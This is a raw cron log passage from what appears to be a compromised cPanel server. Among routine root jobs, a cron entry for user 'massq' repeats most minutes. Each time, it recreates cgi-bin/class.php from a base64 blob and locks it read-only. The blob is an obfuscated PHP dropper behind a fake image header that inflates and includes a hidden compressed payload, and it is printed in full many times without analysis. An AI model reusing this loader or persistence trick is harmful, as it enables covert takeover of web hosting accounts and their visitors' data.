"$fp")
Aug 30 16:40:01 server CROND[1331]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 16:40:01 server CROND[1333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:41:01 server CROND[2204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:41:01 server CROND[2205]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:41:01 server CROND[2206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:42:01 server CROND[2604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:42:01 server CROND[2605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:42:01 server CROND[2607]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 16:42:01 server CROND[2606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:43:01 server CROND[3025]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:43:01 server CROND[3026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:43:01 server CROND[3027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:44:01 server CROND[3410]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:44:01 server CROND[3412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:44:01 server CROND[3411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:45:01 server CROND[3861]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 16:45:01 server CROND[3866]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:45:01 server CROND[3869]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:45:01 server CROND[3873]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:45:01 server CROND[3867]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 16:45:01 server CROND[3872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:45:01 server CROND[3875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:46:01 server CROND[4763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:46:01 server CROND[4764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:46:01 server CROND[4762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:47:01 server CROND[5159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:47:01 server CROND[5160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:47:01 server CROND[5161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:48:01 server CROND[5541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:48:01 server CROND[5542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:48:01 server CROND[5543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:49:01 server CROND[5924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:49:01 server CROND[5925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:49:01 server CROND[5926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:50:01 server CROND[6321]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 16:50:01 server CROND[6322]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 16:50:01 server CROND[6325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:50:01 server CROND[6326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:50:01 server CROND[6327]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 16:50:01 server CROND[6328]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:50:01 server CROND[6331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:50:01 server CROND[6329]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 16:50:01 server CROND[6330]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:51:01 server CROND[7252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:51:01 server CROND[7253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:51:01 server CROND[7254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:52:01 server CROND[7643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:52:01 server CROND[7645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:52:01 server CROND[7644]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:53:01 server CROND[8028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:53:01 server CROND[8029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
